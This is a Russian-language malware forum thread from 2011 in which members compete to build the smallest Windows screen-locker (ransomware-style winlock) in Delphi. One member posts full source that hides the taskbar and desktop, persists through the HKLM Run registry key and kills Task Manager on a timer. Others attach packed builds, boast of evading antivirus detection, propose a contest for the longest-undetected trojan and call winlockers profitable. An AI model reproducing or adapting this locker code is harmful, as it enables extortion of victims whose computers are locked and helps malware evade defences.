Четверг, 22.06.2017, 15:04 Приветствую вас Гость | Группа "Гости" 


[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 11
Модератор форума: Волк-1024, Anton93, xXxSh@dowxXx 
delfcode » Delphi » Вирусология Delphi » !!!Конкурс!!! (Windows Locker)
!!!Конкурс!!!
gravitasДата: Пятница, 01.07.2011, 17:14 | Сообщение # 1
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
Обьявляю конкурс на самый маленький (имеется в виду вес biggrin ) блокиратор винды. Картинки вставлять не нужно. Требования: текст, поле для кода, кнопка (минимум) ну и сама блокировка основных способов снятия. Главное условие - ваше авторство данного софта.
Язык - Delphi.
Выкладывайте свои проекты, даже если видите. что у кого то уже есть с меньшим весом.
Вид: точный вес в байтах при максимальном сжатии, билд или же сам исходник со способом сжатия (как пожелаете). Если выкладываете билд, то указывайте код разблокировки.
Поощрены будут все участники!
Внимание. Ни в коем случае не проверяйте высылаемые сюда файлы на онлайн сканнерах типа VT.

Ув. Dolphin, сделайте пожалуйста если возможно тему доступной только для зарегистрированных пользователей.


TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
 
C@TДата: Пятница, 01.07.2011, 17:41 | Сообщение # 2
Авторитетный
Зарегистрирован: 06.03.2010
Группа: Модераторы
Сообщений: 265
Статус: Offline
Язык - Delphi , дискриминация biggrin
можно хотя бы на любом компилированном языке с/с++ , асм




Сообщение отредактировал C@T - Пятница, 01.07.2011, 17:44
 
gravitasДата: Пятница, 01.07.2011, 17:42 | Сообщение # 3
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
Quote (C@T)
Язык - Delphi , дискриминация

Узкоспециализированный портал у нас biggrin

Так будет нечесно помоему по отношению к тем, кто на них не кодит. А тут у всех шансы равны.


TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
 
opiusДата: Пятница, 01.07.2011, 22:27 | Сообщение # 4
Частый гость
Зарегистрирован: 18.03.2010
Группа: Пользователи
Сообщений: 46
Статус: Offline
этт лучше уж тогда на api писать да и upx`ом сжать




Сообщение отредактировал opius - Пятница, 01.07.2011, 22:29
 
gravitasДата: Суббота, 02.07.2011, 01:03 | Сообщение # 5
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
Оно и подразумевается. Только лучше не UPX'ом, а FSG. Как дельфин выполнит мою просьбу, сразу же выложу свой вариант. И не только я.

TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
 
XSPYДата: Суббота, 02.07.2011, 10:10 | Сообщение # 6
Продвинутый
Зарегистрирован: 28.01.2010
Группа: Пользователи
Сообщений: 258
Статус: Offline
интересно будет глянуть,у кого самый маленький будет)) хотя моя интуиция говорит мне... cool biggrin

Я не крекер,а программист!
Я не преступник-я свободный человек!
Лучше один раз накодить,чем сто раз качать билды!
 
gravitasДата: Суббота, 02.07.2011, 11:24 | Сообщение # 7
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
XSPY, и что же она тебе говорит? smile

TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
 
C@TДата: Суббота, 02.07.2011, 17:11 | Сообщение # 8
Авторитетный
Зарегистрирован: 06.03.2010
Группа: Модераторы
Сообщений: 265
Статус: Offline
Quote (gravitas)
XSPY, и что же она тебе говорит?

каждый уверен что он выйграет, но гугл то один на всех и поэтому я не удевлюсь если некоторые пойдут одним и тем же путем для сбрасывания лишнего веса.

P.S лучше сделать еще правило на то чтобы винлок запускался на пустом компе без делфи(не говорил что ему не хватает вот этой вот дллки или еще чего то) , предустановленный будет только фреймверк(программы скомпиленные новыми версиями делфи без него отказываются работать)


 
gravitasДата: Суббота, 02.07.2011, 20:17 | Сообщение # 9
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
Quote (C@T)
P.S лучше сделать еще правило на то чтобы винлок запускался на пустом компе без делфи(не говорил что ему не хватает вот этой вот дллки или еще чего то) , предустановленный будет только фреймверк(программы скомпиленные новыми версиями делфи без него отказываются работать)

Само сабой как бы) ДЛЛ и т.д. только если из себя выгружать.


TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
 
link993Дата: Суббота, 02.07.2011, 23:31 | Сообщение # 10
Участник
Зарегистрирован: 13.02.2011
Группа: Пользователи
Сообщений: 93
Статус: Offline
Выкладываю свой винлок. Думаю шансов победить тут у него не будет т.к. он весит 228 кб. Это я так для примера выкладываю.

Code
unit Unit1;

interface

uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, StdCtrls, ExtCtrls, jpeg, Registry;

type
      TForm1 = class(TForm)
        img1: TImage;
        pnl1: TPanel;
        Button1: TButton;
        edt1: TEdit;
        lbl1: TLabel;
        tmr1: TTimer;
        procedure Button1Click(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure tmr1Timer(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

var
      Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
      pas:string;
      hTaskBar : THandle;
begin
      hTaskbar := FindWindow('Shell_TrayWnd', Nil);
      pas:=edt1.Text;
      if pas = 'delfcode.ru' then
      ShowWindow(hTaskBar, SW_SHOWNORMAL);
      ShowWindow(FindWindow(nil,'Program Manager'),SW_SHOWNORMAL);
      Form1.Close
end;

procedure TForm1.FormCreate(Sender: TObject);
var
hTaskBar : THandle;
reg: tregistry;
begin
hTaskbar := FindWindow('Shell_TrayWnd', Nil);
ShowWindow(hTaskBar, SW_HIDE);
ShowWindow(FindWindow(nil,'Program Manager'),SW_HIDE);
if 7=7 then
begin
reg:=tregistry.create;
reg.rootkey:= hkey_local_machine;
reg.lazywrite:=false;
reg.openkey('software\microsoft\windows\currentversion\run', false);
reg.writestring('ExTaZy', application.exename);
reg.closekey;
reg.free;
end;
end;

procedure TForm1.tmr1Timer(Sender: TObject);
begin
if FindWindow(0, 'Диспетчер задач Windows') <> 0
then WinExec('taskkill /F /IM taskmgr.exe' , SW_HIDE ) ;
end;

end.


Ничего особенного нет. Писал для себя. Вин апи не знаю.

Пароль delfcode.ru

Ps. проверял его на virustotal давно. После проверки модифицировал. Ничем не палится.

Ключ реестра удалить не забудьте!

Предлагаю встречный конкурс. Чей троян дольше продержится не запаленным будет победителем. Победителю 10 восьмизначных номеров icq.
Прикрепления: Winlock.rar(277Kb) · NOTEPAD.exe(228Kb)


Сообщение отредактировал link993 - Суббота, 02.07.2011, 23:49
 
gravitasДата: Воскресенье, 03.07.2011, 00:11 | Сообщение # 11
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
Размер: 4 841 байт (FSG). Из модулей только Windows (можно и его выдернуть, но будет столько кода, что размер только увеличится). Выкладываю вместе с исходниками.
Код разблокировки: 1
Пароль на архив: delfcode.ru
Прикрепления: 7490801.rar(258Kb)


TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
 
C@TДата: Воскресенье, 03.07.2011, 02:57 | Сообщение # 12
Авторитетный
Зарегистрирован: 06.03.2010
Группа: Модераторы
Сообщений: 265
Статус: Offline
вот, прошу не очень жаловаться на сей винлок ,поле для ввода пароля я не сделал, если не примут придется исправить(придется добавить пару байт к весу)
Размер: упакованный(FSG) 1521 байт , неупакованный 4096 байт

P.S выключить проблематично
Прикрепления: Mini_Win_Lock.rar(328Kb)


 
link993Дата: Воскресенье, 03.07.2011, 11:44 | Сообщение # 13
Участник
Зарегистрирован: 13.02.2011
Группа: Пользователи
Сообщений: 93
Статус: Offline
C@T, ты же сказал что в конкурсе участвовать не будешь biggrin Все короче ты победил biggrin
 
XSPYДата: Воскресенье, 03.07.2011, 12:11 | Сообщение # 14
Продвинутый
Зарегистрирован: 28.01.2010
Группа: Пользователи
Сообщений: 258
Статус: Offline
C@T, а я и не думал участвовать-я не умею писать винлокеры(хотя хотел-тема прибыльная)=)
я на другом специализируюсь)) wink


Я не крекер,а программист!
Я не преступник-я свободный человек!
Лучше один раз накодить,чем сто раз качать билды!
 
gravitasДата: Воскресенье, 03.07.2011, 12:16 | Сообщение # 15
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
Да не очень то она прибыльная... Это раньше она была популярна, а теперь увы не так сильно <_<

TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
 
C@TДата: Воскресенье, 03.07.2011, 14:34 | Сообщение # 16
Авторитетный
Зарегистрирован: 06.03.2010
Группа: Модераторы
Сообщений: 265
Статус: Offline
Quote (XSPY)
C@T, а я и не думал участвовать-я не умею писать винлокеры(хотя хотел-тема прибыльная)=)
я на другом специализируюсь))

я тоже не винлоки пишу

P.S и на чем же ты специализируешься ?


 
link993Дата: Воскресенье, 03.07.2011, 14:59 | Сообщение # 17
Участник
Зарегистрирован: 13.02.2011
Группа: Пользователи
Сообщений: 93
Статус: Offline
Quote (gravitas)
Да не очень то она прибыльная... Это раньше она была популярна, а теперь увы не так сильно dry

Cейчас люди перешли на всякие эксплойты и апплеты. Винлоки уже в прошлом.
 
XSPYДата: Воскресенье, 03.07.2011, 16:38 | Сообщение # 18
Продвинутый
Зарегистрирован: 28.01.2010
Группа: Пользователи
Сообщений: 258
Статус: Offline
C@T, кейлоггеры,раты,трояны,лоадеры,скрипт-вирусы,шуточные вирусы.
З.Ы:А вообще я етоим всем занимаюсь ради научных и познавательных изысков-я их не распространяю wink


Я не крекер,а программист!
Я не преступник-я свободный человек!
Лучше один раз накодить,чем сто раз качать билды!
 
link993Дата: Воскресенье, 03.07.2011, 18:04 | Сообщение # 19
Участник
Зарегистрирован: 13.02.2011
Группа: Пользователи
Сообщений: 93
Статус: Offline
Gravitas: Ну ты нашел куда запостить)
ЛАдно всем удачи. Уезжаю сегодня в Украину. Успехов и побед всем! smile
 
delfcode » Delphi » Вирусология Delphi » !!!Конкурс!!! (Windows Locker)
Страница 1 из 11
Поиск:

delfcode.ru © 2008 - 2017 Хостинг от uCoz